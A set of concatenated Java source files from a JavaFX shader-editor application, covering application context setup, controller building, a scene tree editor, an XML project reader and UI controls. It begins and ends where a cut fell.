* Constructors
*
******************************************************************************/
private ApplicationContext() {
super();
}
/******************************************************************************
*
* Public Api
*
******************************************************************************/
synchronized
public void init(Application application, Supplier<Collection<Module>> moduleSupplier) {
if (isDisposed) {
Log.info("Initializing " + getClass().getSimpleName());
this.application = application;
this.diContext = new GuiceInjectorContext(application, Objects.requireNonNull(moduleSupplier));
this.diContext.init();
isDisposed = false;
Log.info("Initialized " + getClass().getSimpleName());
} else {
Log.warn(getClass().getSimpleName() + " is already initialized");
}
}
synchronized
public void destroy() {
if (! isDisposed) {
Log.info("Destroying " + getClass().getSimpleName());
diContext.destroy();
properties.clear();
isDisposed = true;
Log.info("Destroyed " + getClass().getSimpleName());
}
}
/**
* Provides access to dependency injector
* context, enables callers to get instances
* without using annotations.
*
* @return the current injector context.
*/
public DIContext getInjector() {
ensureContextCreated();
return diContext;
}
/**
* Get the application to which this context belongs.
*
* @return the application object.
*/
public Application getApplication() {
ensureContextCreated();
return application;
}
synchronized
private void ensureContextCreated() {
if (isDisposed) {
throw new IllegalStateException("Application context wasn't initialized by calling init");
}
}
}
```
DummyProject.java
```package eu.yvka.shadersloth.app.project;
import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderTemplateHelper;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.geometry.primitives.Cube;
import eu.yvka.slothengine.geometry.primitives.Sphere;
import eu.yvka.slothengine.material.BasicMaterial;
import eu.yvka.slothengine.material.Pass;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.renderer.RenderState;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.scene.camera.FreeCamera;
import eu.yvka.slothengine.scene.light.PointLight;
import eu.yvka.slothengine.shader.Shader;
import eu.yvka.slothengine.utils.NameAlreadyInUseException;
import org.joml.Vector3f;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.function.Consumer;
/**
* @author Yves Kaufmann
* @since 17.07.2016
*/
public class DummyProject extends ProjectImpl {
private BasicMaterial material;
public DummyProject() {
super();
setName("dummy");
List<Geometry> boxes = new ArrayList<>();
final Scene scene = getScene();
Random rnd = new Random();
rnd.setSeed(System.nanoTime());
Shader dummyShader = ShaderTemplateHelper.createShader(getProjectFolder(), "Phong", true);
BasicMaterial mat = new BasicMaterial(dummyShader);
mat.getRenderState().setFrontFaceWinding(RenderState.FaceWinding.GL_CCW);
mat.getRenderState().setCullFaceMode(RenderState.CullFaceMode.Back);
// mat.setParameter("sl_material.diffuse", Color.White);
// mat.setParameter("sl_material.ambient", Color.White);
// mat.setShininess(20.0f);
getMaterials().add(mat);
Pass pass = mat.createPass();
pass.getRenderState().setWireframe(true);
pass.getRenderState().setBlendMode(RenderState.BlendFunc.Alpha);
pass.setParameter("sl_material.diffuse", Color.White);
pass.setEnableLightning(false);
Geometry room = new Geometry("Room");
room.setPosition(new Vector3f(0.0f, 0.0f, 0.0f));
room.setScale(10.0f);
room.setVisible(true);
room.setMesh(new Cube());
room.setMaterial(mat);
scene.getRootNode().addChild(room);
scene.getCamera().setPosition(0f, 5f, 10f);
((FreeCamera)scene.getCamera()).setTarget(new Vector3f(10.0f, 2.0f, -10.0f));
float radius = 2.0f;
int boxCount = 5;
float PI2 = (float) (Math.PI * 2);
float R = (1.0f / boxCount);
for (int i = 0; i <= boxCount; i++) {
Geometry box = new Geometry("Box " + i);
box.setMaterial(mat);
box.setScale(1.0f);
box.setMesh(new Sphere(1, 20, 20));
box.setMesh(Engine.getMeshFromAssets("Rabbit.obj"));
box.setPosition((float) (Math.cos(R * i * PI2) * radius), 0, (float) (Math.sin(R * i * PI2) * radius));
boxes.add(box);
room.addChild(box);
}
Geometry g = new Geometry("g");
g.setMesh(new Cube());
g.setPosition(-9.0f, 0.0f, 0.0f);
g.setMaterial(mat);
room.addChild(g);
PointLight point = new PointLight("Light 1");
point.setAttenuation(1.0f);
point.setPosition(new Vector3f(0.0f, 5.0f, -2.0f));
point.setColor(new Color(1.0f, 0.0f, 0.0f, 1.0f));
point.setAttenuation(100.0f);
getScene().add(point);
PointLight point2 = new PointLight("Light 2");
point2.setAttenuation(1.0f);
point2.setPosition(new Vector3f(0.0f, 0.0f, 0.0f));
point2.setColor(new Color(1.0f, 1.0f, 1.0f, 1.0f));
point2.setAttenuation(20.0f);
getScene().add(point2);
}
}
```
FontIcon.java
```package eu.yvka.shadersloth.share.controls;
import eu.yvka.shadersloth.share.controls.FontAwesomeIcon;
import eu.yvka.shadersloth.share.controls.FontBasedIcon;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.scene.control.Label;
public class FontIcon extends Label {
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public FontIcon() {
super();
initialize();
}
public FontIcon(FontBasedIcon icon) {
super(icon.getText());
initialize();
}
public FontIcon(String icon) {
super(icon);
initialize();
}
/******************************************************************************
*
* Properties
*
******************************************************************************/
private ObjectProperty<FontAwesomeIcon> icon;
public ObjectProperty<FontAwesomeIcon> iconProperty() {
if (icon == null) {
icon = new SimpleObjectProperty<FontAwesomeIcon>(this, "icon", null) {
@Override
protected void invalidated() {
super.invalidated();
setText(iconProperty().getValue().getText());
}
};
}
return icon;
}
public FontAwesomeIcon getIcon() {
return icon == null ? null : icon.get();
}
public void setIcon(FontAwesomeIcon icon) {
iconProperty().setValue(icon);
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
private void initialize() {
getStyleClass().add(DEFAULT_STYLE_CLASS);
}
/******************************************************************************
*
* Styling
*
******************************************************************************/
public static final String DEFAULT_STYLE_CLASS = "icon-label";
}
```
ControllerBuilder.java
```package eu.yvka.shadersloth.share.controller;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.share.context.ApplicationContext;
import eu.yvka.shadersloth.share.context.ViewContext;
import eu.yvka.shadersloth.share.controls.FontIcon;
import eu.yvka.shadersloth.share.utils.ReflectionUtils;
import eu.yvka.shadersloth.share.actions.ActionEntry;
import eu.yvka.shadersloth.share.actions.annotations.Action;
import eu.yvka.shadersloth.share.controller.annotations.Controller;
import eu.yvka.shadersloth.share.controller.annotations.FXMLViewContext;
import javafx.application.Platform;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.scene.Node;
import javafx.scene.Parent;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.List;
import java.util.Map;
import java.util.WeakHashMap;
/**
* Builder class for creating Controller instances.a
*/
public class ControllerBuilder {
private static final Logger Log = LoggerFactory.getLogger(ControllerBuilder.class);
/******************************************************************************
*
* Fields
*
******************************************************************************/
private static ControllerBuilder INSTANCE;
private Map<Class<? extends AbstractController>, ViewContext> controllerContexts;
/******************************************************************************
*
* Constructors
*
************************************************************************F******/
private ControllerBuilder() {
controllerContexts = new WeakHashMap<>();
}
public synchronized static ControllerBuilder getInstance() {
if (INSTANCE == null) {
INSTANCE = new ControllerBuilder();
}
return INSTANCE;
}
/******************************************************************************
*
* Builder methods
*
******************************************************************************/
public <T extends AbstractController> ViewContext<T> createBy(Class<T> controllerClass) throws ControllerLoaderException {
try {
return createBy(controllerClass.newInstance(), controllerClass);
} catch (InstantiationException | IllegalAccessException e) {
throw new ControllerLoaderException("Could not create controller: " + controllerClass.getSimpleName(), e);
}
}
public <T extends AbstractController> ViewContext<T> createBy(T controller, Class<T> controllerClass) throws ControllerLoaderException {
// Load meta data
ControllerMeta meta = new ControllerMeta();
Controller controllerAnnotation = controllerClass.getAnnotation(Controller.class);
if (controllerAnnotation != null) {
if (! controllerAnnotation.title().isEmpty()) {
String title = I18N.getString(controllerAnnotation.title());
meta.setTitle(title);
}
if (! controllerAnnotation.icon().isEmpty()) {
meta.setGraphicNode(new FontIcon(controllerAnnotation.icon()));
}
}
// Load all actions
loadMethodMetaData(controllerClass, controller, meta);
// Create loader and controller instance
Parent rootView = null;
try {
FXMLLoader loader = createLoader(controller);
rootView = loader.load();
} catch(IOException ex) {
throw new ControllerLoaderException("Failed to load fxml:" + controller.getLocation().toString(), ex);
} catch(IllegalStateException ex) {
throw new ControllerLoaderException(
controller.getClass().getSimpleName() + " don't provide a valid FXML location",
ex
);
}
ViewContext<T> ctx = new ViewContext<>(controller, rootView, meta);
ctx.setProperty(ViewContext.PROPERTY_CONTROLLER, controller);
try {
injectDependencies(controllerClass, ctx);
} catch (Exception ex) {
throw new ControllerLoaderException("Failed to inject dependencies for " + controller.getClass().getSimpleName(), ex);
}
return ctx;
}
private <T extends AbstractController> void injectFieldValue(Field field, ViewContext<T> ctx) {
Class<?> requiredFieldClass = ctx.getClass();
Class<?> fieldType = field.getType();
if (fieldType.equals(requiredFieldClass) || requiredFieldClass.isAssignableFrom(fieldType)) {
ReflectionUtils.setFieldValue(field, ctx.getController() ,ctx);
}
}
public <T extends AbstractController> FXMLLoader createLoader(T controller) {
FXMLLoader loader = new FXMLLoader();
loader.setLocation(controller.getLocation());
loader.setResources(controller.getResourceBundle());
loader.setCharset(Charset.forName("UTF-8"));
loader.setController(controller);
loader.setControllerFactory((cls) -> {
try {
// Fall back implementation if no controller instance is provided
Object instance = cls.newInstance();
ApplicationContext.get().getInjector().injectMembers(instance);
return instance;
} catch (InstantiationException | IllegalAccessException ex) {
throw new IllegalStateException("Cannot instantiate controller: " + controller , ex);
}
});
return loader;
}
public <T extends AbstractController> void injectDependencies(Class<T> controllerClass, ViewContext<T> ctx) {
for(Field field : ReflectionUtils.getAllFields(controllerClass)) {
FXMLViewContext contextAnnotation = field.getAnnotation(FXMLViewContext.class);
if (contextAnnotation != null) {
injectFieldValue(field, ctx);
}
}
ApplicationContext.get().getInjector().injectMembers(ctx.getController());
injectIncludedFXMLFields(controllerClass, ctx);
}
/**
* Because of some restrictions in the FXMLLoader not all fields that are annotated with @FXML will be injected
* such as fields that are included by fx:include.
*/
public <T extends AbstractController> void injectIncludedFXMLFields(Class<T> controllerClass, ViewContext<T> ctx) {
T controller = ctx.getController();
Node root = ctx.getRootNode();
injectIncludedFXMLFields(controllerClass, controller, root);
}
public void injectIncludedFXMLFields(Object controller, Node root) {
injectIncludedFXMLFields(controller.getClass(), controller, root);
}
private void injectIncludedFXMLFields(Class<?> controllerClass, Object controller, Node root) {
for (Field field : ReflectionUtils.getAllFields(controllerClass)) {
if (! field.isAnnotationPresent(FXML.class)) continue;
Object fieldValue = ReflectionUtils.getFieldValue(field, controller);
// inject only fields that are not already set by the fxml loader
if (fieldValue == null) {
String fieldName = field.getName();
Node nodeToInject = root.lookup("#" + fieldName);
if ( nodeToInject != null && field.getType().isAssignableFrom(nodeToInject.getClass())) {
ReflectionUtils.setFieldValue(field, controller, nodeToInject);
}
}
}
}
public <T extends AbstractController> void loadMethodMetaData(Class<T> controllerClass, T controller, ControllerMeta meta) {
List<Method> actionMethods = ReflectionUtils.getMethodsWithAnnotation(controllerClass, Action.class);
for (Method method : actionMethods) {
Action action = method.getAnnotation(Action.class);
final ActionEntry actionEntry = new ActionEntry();
actionEntry.setTooltip(action.tooltip());
actionEntry.setText(action.text());
actionEntry.setIcon(action.fontIcon());
actionEntry.setOnAction((calledAction) -> {
try {
Platform.runLater(() -> ReflectionUtils.invokeMethod(controller, method));
} catch (Exception ex) {
Log.error("Failed to invoke the controller action {}{}.", controllerClass.getName(), method.getName());
throw new IllegalStateException("Could not invoke action method " + method, ex);
}
});
meta.actionEntriesProperty().add(actionEntry);
}
}
}
```
SceneTreeEditorController.java
```package eu.yvka.shadersloth.app.sceneEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.app.ShaderSlothController;
import eu.yvka.shadersloth.app.project.Project;
import eu.yvka.shadersloth.share.controller.AbstractController;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Node;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.scene.light.Light;
import javafx.beans.property.ObjectProperty;
import javafx.event.ActionEvent;
import javafx.event.Event;
import javafx.fxml.FXML;
import javafx.scene.control.*;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.function.Supplier;
public class SceneTreeEditorController extends AbstractController {
private static final Logger Log = LoggerFactory.getLogger(SceneTreeEditorController.class);
/******************************************************************************
*
* FXML Fields
*
******************************************************************************/
@FXML private TreeView<Node> sceneTree;
@FXML private MenuButton newEntryBtn;
/******************************************************************************
*
* Fields
*
******************************************************************************/
private ObjectProperty<Node> selectedNode;
private ShaderSlothController slothController;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public SceneTreeEditorController(ShaderSlothController slothController) {
super(App.class.getResource("view/sceneTreeView.fxml"));
this.slothController = slothController;
}
@Override
protected void onFxmlLoaded() {
initTree();
}
private void initTree() {
sceneTree.setMinWidth(50);
sceneTree.setPrefWidth(100);
sceneTree.setShowRoot(true);
sceneTree.setMaxWidth(Double.MAX_VALUE);
sceneTree.setCellFactory(param -> new SceneTreeCell(this));
sceneTree.getSelectionModel().selectedItemProperty().addListener(((observable, oldValue, newValue) -> {
if (newValue != null) {
final Node selectedValue = newValue.getValue();
slothController.getGenericEditorController().loadNode(selectedValue);
if (selectedValue instanceof Geometry) {
Geometry geometry = (Geometry) selectedValue;
// geometry.getMaterial().getRenderState().setWireframe(true);
}
if (oldValue != null && oldValue.getValue() instanceof Geometry) {
Geometry geometry = (Geometry) oldValue.getValue();
// geometry.getMaterial().getRenderState().setWireframe(false);
}
}
}));
}
public Project getProject() {
return slothController.getProject();
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
void onNewGeometry(ActionEvent event) {
invokeNodeCreationDialog(GeometryCreateDialog::new);
event.consume();
}
void onNewLight(ActionEvent event) {
invokeNodeCreationDialog(LightCreateDialog::new);
event.consume();
}
private void invokeNodeCreationDialog(Supplier<Dialog<? extends Node>> dialogFactory) {
final Project project = getProject();
final Scene scene = project.getScene();
final Dialog<? extends Node> dialog = dialogFactory.get();
dialog.initOwner(sceneTree.getScene().getWindow());
dialog.showAndWait().ifPresent((newNode -> {
addNodeToTree(scene, newNode);
}));
}
void onRemoveEntry(ActionEvent event) {
final TreeItem<Node> selection = sceneTree.getSelectionModel().getSelectedItem();
if (selection != null) {
final TreeItem<Node> parentItem = selection.getParent();
if (parentItem != null) {
// Ensures that this operation is performed in the renderer thread
final Node parent = parentItem.getValue();
final Node nodeToRemove = selection.getValue();
Engine.runWhenReady(() -> {;
parent.removeChild(nodeToRemove);
});
parentItem.getChildren().remove(selection);
}
}
event.consume();
}
/**
* Load the scene and create a representation in the project tree.
*
* @param scene the scene to load.
*/
public void loadScene(Scene scene) {
TreeItem<Node> rootNode = new TreeItem<>(scene.getRootNode());
loadScene(scene.getRootNode(), rootNode);
sceneTree.setRoot(rootNode);
sceneTree.getSelectionModel().selectFirst();
}
private void loadScene(Node rootNode, TreeItem<Node> rootItem) {
for (Node node : rootNode.getChildren()) {
TreeItem<Node> nodeItem = new TreeItem<>(node);
rootItem.getChildren().add(nodeItem);
if (! (node instanceof Light)) {
loadScene(node, nodeItem);
}
}
}
private void addNodeToTree(Scene scene, Node node) {
TreeItem<Node> root = sceneTree.getRoot();
TreeItem<Node> newItem = new TreeItem<>(node);
if (root == null) {
root = new TreeItem<Node>(null);
root.getChildren().add(newItem);
sceneTree.setRoot(root);
Engine.runWhenReady(() -> scene.setRootNode(node));
} else {
MultipleSelectionModel<TreeItem<Node>> selectedModel = sceneTree.getSelectionModel();
TreeItem<Node> parentOfNewElement = selectedModel.getSelectedItem();
if (parentOfNewElement == null) {
parentOfNewElement = root;
}
parentOfNewElement.getChildren().add(newItem);
Engine.runWhenReady(() -> scene.getRootNode().addChild(node));
}
if (node instanceof Light) {
Engine.runWhenReady(() -> scene.getLightList().add((Light) node));
}
}
public void notifyUpdate() {
MultipleSelectionModel<TreeItem<Node>> selectionModel = sceneTree.getSelectionModel();
if (selectionModel != null) {
TreeItem<Node> item = selectionModel.getSelectedItem();
Event.fireEvent(item, new TreeItem.TreeModificationEvent<>(TreeItem.valueChangedEvent(), item));
}
}
}
```
ActionEntry.java
```package eu.yvka.shadersloth.share.actions;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.share.controls.FontAwesomeIcon;
import javafx.beans.property.*;
import javafx.beans.value.ObservableValue;
import java.util.Optional;
public class ActionEntry {
private ObjectProperty<FontAwesomeIcon> icon;
private IntegerProperty priority;
private StringProperty text;
private StringProperty tooltip;
private StringProperty id;
private ObjectProperty<ActionCallback> callback;
public ActionEntry() {}
public ActionEntry(FontAwesomeIcon icon) {
setIcon(icon);
}
public ActionEntry(String text) {
setText(text);
}
public ActionEntry(FontAwesomeIcon icon, String text) {
setIcon(icon);
setText(text);
}
public ActionEntry(FontAwesomeIcon icon, String text, ActionCallback callback) {
setIcon(icon);
setText(text);
setOnAction(callback);
}
public ActionEntry(FontAwesomeIcon icon, ActionCallback callback) {
setIcon(icon);
setOnAction(callback);
}
public final Optional<FontAwesomeIcon> getIconOptional() {
return icon != null ? Optional.of(icon.get()) : Optional.empty();
}
public final FontAwesomeIcon getIcon() {
Optional<FontAwesomeIcon> icon = getIconOptional();
if (icon.isPresent()) {
return icon.get();
}
return null;
}
public final void setIcon(FontAwesomeIcon icon) {
iconProperty().set(icon);
}
public final ObjectProperty<FontAwesomeIcon> iconProperty() {
if (icon == null) {
icon = new SimpleObjectProperty<>(this, "icon");
}
return icon;
}
public final Optional<ActionCallback> getCallback() {
return callback != null ? Optional.of(callback.get()) : Optional.empty();
}
public final void setOnAction(ActionCallback callback) {
callbackProperty().set(callback);
}
public final ObjectProperty<ActionCallback> callbackProperty() {
if (callback == null) {
callback = new SimpleObjectProperty<>(this, "callback");
}
return callback;
}
public final String getText() {
return text != null ? text.get() : "";
}
public final void setText(String text) {
if (text == null) text = "";
textProperty().set(text);
}
public final StringProperty textProperty() {
if (text == null) {
text = new SimpleStringProperty(this, "text");
text.addListener(this::convertI18NToString);
}
return text;
}
public final String getTooltip() {
return tooltip != null ? tooltip.get() : "";
}
public final void setTooltip(String title) {
if (title == null) title = "";
textProperty().set(title);
}
public final StringProperty tooltipProperty() {
if (tooltip == null) {
tooltip = new SimpleStringProperty(this, "tooltip");
tooltip.addListener(this::convertI18NToString);
}
return tooltip;
}
private void convertI18NToString(ObservableValue<? extends String> observable, String oldValue, String newValue) {
if (oldValue != newValue && newValue.startsWith("%")) {
if (observable instanceof StringProperty) {
StringProperty.class.cast(observable).setValue(I18N.getString(newValue));
}
}
}
public final IntegerProperty priorityProperty() {
if (priority == null) {
priority = new SimpleIntegerProperty(this, "priority", 0);
}
return priority;
}
public void setPriority(int priority) {
priorityProperty().set(priority);
}
public int getPriority() {
return priority == null ? 0 : priority.get();
}
public final String getId() {
return id != null ? id.get() : "";
}
public final void setId(String id) {
if (id == null) id = "";
idProperty().set(id);
}
public final StringProperty idProperty() {
if (id == null) {
id = new SimpleStringProperty(this, "id");
}
return id;
}
}
```
XMLProjectReader.java
```package eu.yvka.shadersloth.app.project;
import eu.yvka.slothengine.material.Material;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Node;
import eu.yvka.slothengine.scene.camera.Camera;
import eu.yvka.slothengine.scene.light.AmbientLight;
import eu.yvka.slothengine.scene.light.Light;
import eu.yvka.slothengine.scene.light.PointLight;
import eu.yvka.slothengine.utils.NameAlreadyInUseException;
import org.joml.Quaternionf;
import org.joml.Vector3f;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamConstants;
import javax.xml.stream.XMLStreamReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.text.MessageFormat;
import java.util.HashMap;
import java.util.Map;
import static eu.yvka.shadersloth.app.project.ProjectConstants.*;
/**
* @author Yves Kaufmann
* @since 16.07.2016
*/
public class XMLProjectReader implements ProjectReader {
private static final Logger Log = LoggerFactory.getLogger(XMLProjectReader.class);
private XMLInputFactory inputFactory;
private XMLStreamReader reader;
private ProjectImpl project;
private Map<String, Light> lightMap;
private Map<String, Material> materialMap;
private Map<String, Geometry> geometryMap;
private Object current = null;
private Object parent = null;
public XMLProjectReader() {
lightMap = new HashMap<>();
materialMap = new HashMap<>();
geometryMap = new HashMap<>();
inputFactory = XMLInputFactory.newFactory();
}
@Override
public Project loadProject(File file) throws IOException {
if (reader != null ) throw new IllegalStateException("project reading is already in progress");
this.project = new ProjectImpl();
try (FileReader in = new FileReader(file)) {
reader = inputFactory.createXMLStreamReader(in);
while (reader.hasNext()) {
int event = reader.next();
switch (event) {
case XMLStreamConstants.START_ELEMENT: {
processStartElement();
break;
}
case XMLStreamConstants.END_ELEMENT: {
processEndElement();
break;
}
}
}
} catch (Exception e) {
throw new IOException("Failed to load project", e);
}
return this.project;
}
private void processStartElement() throws Exception {
String tagName = reader.getLocalName();
switch (tagName) {
case PROJECT_TAG:
project.name = readRequiredAttr(PROJECT_ATTR_NAME);
project.projectFolder = new File(readRequiredAttr(PROJECT_ATTR_FOLDER));
break;
case SCENE_TAG:
current = project.getScene();
break;
case CAMERA_TAG:
String cameraType = readRequiredAttr(CLASS_ATTR);
Camera camera = (Camera) Class.forName(cameraType).newInstance();
project.getScene().setCamera(camera);
current = camera;
break;
case NODES_TAG:
break;
case NODE_TAG:
String id = readRequiredAttr(ID_ATTR);
String classAttr = readRequiredAttr(CLASS_ATTR);
String lightType = readAttr(LIGHT_ATTR_TYPE);
Class<?> cls = Class.forName(classAttr);
if (cls.isAssignableFrom(Node.class)
|| cls.isAssignableFrom(PointLight.class)
|| cls.isAssignableFrom(AmbientLight.class)
|| cls.isAssignableFrom(Geometry.class)) {
Constructor<?> constructor = cls.getConstructor(String.class);
current = constructor.newInstance(id);
}
break;
case POSITION_TAG:
Vector3f position = readVector();
if (current instanceof Camera) {
((Camera) current).setPosition(position);
}
if (current instanceof Node) {
((Node) current).setPosition(position);
}
break;
case SCALE_TAG:
Vector3f scale = readVector();
if (current instanceof Node) {
((Node) current).setScale(scale);
}
break;
case ROTATION_TAG:
Quaternionf rotation = readQuaternion();
if (current instanceof Node) {
((Node) current).setRotation(rotation);
}
break;
}
}
private void processEndElement() {
}
private void readScene() {
}
private Vector3f readVector() {
float x = readFloatAttr("x");
float y = readFloatAttr("y");
float z = readFloatAttr("z");
return new Vector3f(x, y, z);
}
private Quaternionf readQuaternion() {
float x = readFloatAttr("x");
float y = readFloatAttr("y");
float z = readFloatAttr("z");
float w = readFloatAttr("w");
return new Quaternionf(x, y, z, w);
}
private Color readColor() {
float r = readFloatAttr("r");
float g = readFloatAttr("g");
float b = readFloatAttr("b");
float a = readFloatAttr("a");
return new Color(r, g, b, a);
}
private float readFloatAttr(String attr) {
String str = readRequiredAttr(attr);
return Float.valueOf(str);
}
private String readRequiredAttr(String attribute) {
String value = readAttr(attribute);
if (value == null) {
throw new IllegalStateException(MessageFormat.format("The \"{0}\" tag requires a \"{1}\" attribute", reader.getLocalName(), attribute));
}
return value;
}
private String readAttr(String attribute) {
return readAttr(attribute, null);
}
private String readAttr(String attribute, String alternativeValue) {
String value = reader.getAttributeValue(null, attribute);
if (value == null) return alternativeValue;
return value;
}
}
```
TestControls.java
```package eu.yvka.shadersloth;
import eu.yvka.slothengine.engine.AppSettings;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Node;
import eu.yvka.slothengine.scene.light.AmbientLight;
import eu.yvka.shadersloth.app.sceneEditor.SceneTreeCell;
import eu.yvka.shadersloth.app.sceneEditor.GeometryCreateDialog;
import javafx.application.Application;
import javafx.geometry.Point2D;
import javafx.scene.Scene;
import javafx.scene.SceneAntialiasing;
import javafx.scene.control.*;
import javafx.scene.effect.Glow;
import javafx.scene.input.ClipboardContent;
import javafx.scene.input.Dragboard;
import javafx.scene.input.TransferMode;
import javafx.scene.layout.*;
import javafx.scene.paint.Color;
import javafx.stage.Stage;
import javafx.util.Callback;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import eu.yvka.shadersloth.app.controls.NumberInput;
public class TestControls extends Application {
private final static Logger Log = LoggerFactory.getLogger(TestControls.class);
private TreeView<Node> treeView = null;
public static void main(String[] args) {
launch(args);
}
@Override
public void start(final Stage primaryStage) throws NoSuchMethodException {
Engine.start(new AppSettings());
VBox vBox = initializeScene(primaryStage);
Scene scene = new Scene(vBox, -1, -1, true, SceneAntialiasing.BALANCED);
primaryStage.setTitle("ShaderSlothRenderer");
primaryStage.setMinWidth(1024);
primaryStage.setHeight(768);
primaryStage.setScene(scene);
primaryStage.show();
primaryStage.setOnCloseRequest((event -> {
Engine.shutdown();
}));
}
private static TreeItem<Node> draggedTreeItem;
private VBox initializeScene(Stage stage) {
VBox vBox = new VBox();
vBox.getChildren().addAll(new NumberInput("X", 10), new NumberInput("Y", 10, 0, 20), new Slider());
Menu newMenu = new Menu("New");
MenuItem newModel = new MenuItem("Model");
newMenu.setOnAction((event -> {
GeometryCreateDialog dialog = new GeometryCreateDialog();
dialog.initOwner(stage);
dialog.showAndWait();
}));
newMenu.getItems().add(newModel);
newMenu.getItems().add(new MenuItem("Light"));
newMenu.getItems().add(new MenuItem("Geometry"));
ContextMenu contextMenu = new ContextMenu();
contextMenu.getItems().add(newMenu);
treeView = new TreeView<>();
treeView.setContextMenu(contextMenu);
treeView.setCellFactory(new Callback<TreeView<Node>, TreeCell<Node>>() {
@Override
public TreeCell<Node> call(TreeView<Node> param) {
TreeCell<Node> treeCell = new SceneTreeCell(null);
treeCell.setOnDragDetected(event -> {
if (treeCell.isEmpty()) return;
ClipboardContent content = new ClipboardContent();
content.putString("TROLOLOL");
Dragboard dragboard = treeView.startDragAndDrop(TransferMode.MOVE);
dragboard.setContent(content);
draggedTreeItem = treeCell.getTreeItem();
event.consume();
});
treeCell.setOnDragOver(event -> {
Point2D sceneCoordinates = treeCell.localToScene(0d, 0d);
double height = treeCell.getHeight();
// get the y coordinate within the control
double y = event.getSceneY() - (sceneCoordinates.getY());
// if the drop is three quarters of the way down the control
// then the drop will be a sibling and not into the tree item
// set the dnd effect for the required action
if (y > (height * .75d)) {
event.acceptTransferModes(TransferMode.LINK);
} else {
}
event.acceptTransferModes(TransferMode.MOVE);
});
treeCell.setOnDragDropped(event -> {
if (draggedTreeItem != null) {
TreeItem<Node> parentDragged = draggedTreeItem.getParent();
Node nodeValue = draggedTreeItem.getValue();
if (parentDragged != draggedTreeItem) {
parentDragged.getChildren().remove(draggedTreeItem);
treeCell.getTreeItem().getChildren().add(draggedTreeItem);
treeCell.getTreeItem().setExpanded(true);
}
}
event.setDropCompleted(true);
event.consume();
});
treeCell.setOnDragEntered(event -> {
if (treeCell.isEmpty()) return;
treeCell.setUnderline(true);
treeCell.setEffect(new Glow());
treeCell.setBorder(new Border(new BorderStroke(Color.BLACK, BorderStrokeStyle.DASHED, new CornerRadii(10), BorderWidths.DEFAULT)));
event.consume();
});
treeCell.setOnDragExited(event -> {
if (treeCell.isEmpty()) return;
treeCell.setUnderline(false);
treeCell.setEffect(null);
treeCell.setBorder(null);
event.consume();
});
return treeCell;
}
});
eu.yvka.slothengine.scene.Scene scene = new eu.yvka.slothengine.scene.Scene();
Node root = new Node("My Project");
scene.setRootNode(root);
TreeItem<Node> rootItem = new TreeItem<>(root);
rootItem.setExpanded(true);
treeView.setRoot(rootItem);
for (int i = 0; i < 10; i++) {
Node child = null;
if (i % 3 == 0) {
child = new Node("Child " + i);
} else if (i % 3 == 1) {
child = new Geometry("Child " + i);
} else if (i % 3 == 2) {
child = new AmbientLight("Light1" + i);
};
root.addChild(child);
TreeItem<Node> item = new TreeItem<>(child);
item.setExpanded(false);
rootItem.getChildren().add(item);
}
vBox.getChildren().add(treeView);
return vBox;
}
}
```
NumberInputSkin.java
```package eu.yvka.shadersloth.app.controls.number;
import com.sun.javafx.scene.control.skin.BehaviorSkinBase;
import eu.yvka.shadersloth.app.controls.NumberInput;
import javafx.event.EventHandler;
import javafx.geometry.Insets;
import javafx.geometry.Point2D;
import javafx.geometry.Pos;
import javafx.scene.Cursor;
import javafx.scene.control.Label;
import javafx.scene.control.TextField;
import javafx.scene.control.TextFormatter;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.Pane;
import javafx.scene.layout.VBox;
import javafx.util.converter.NumberStringConverter;
import java.awt.*;
import java.text.NumberFormat;
public class NumberInputSkin extends BehaviorSkinBase<NumberInput, NumberInputBehaviour> {
private static final String VALUE_PROPERTY = "value";
private static final String LABEL_PROPERTY = "label";
private static final String MIN_VALUE_PROPERTY = "minValue";
private static final String MAX_VALUE_PROPERTY = "maxValue";
private static final String FORMAT_PROPERTY = "format";
private TextFormatter<Number> formatter;
private NumberFormat numberFormat;
private TextField textField;
private Label label;
public NumberInputSkin() {
super(null, new NumberInputBehaviour(null));
}
/**
* Constructor for all SkinBase instances.
*
* @param control The control for which this Skin should attach to.
*/
public NumberInputSkin(NumberInput control) {
super(control, new NumberInputBehaviour(control));
initialize();
control.requestLayout();
registerChangeListener(control.valueProperty(), VALUE_PROPERTY);
registerChangeListener(control.minValueProperty(), MIN_VALUE_PROPERTY);
registerChangeListener(control.maxValueProperty(), MAX_VALUE_PROPERTY);
registerChangeListener(control.labelProperty(), LABEL_PROPERTY);
registerChangeListener(control.formatProperty(), FORMAT_PROPERTY);
}
private void initialize() {
getSkinnable().setFocusTraversable(false);
VBox hLayout = new VBox();
hLayout.setCursor(Cursor.H_RESIZE);
hLayout.setFocusTraversable(false);
textField = new TextField();
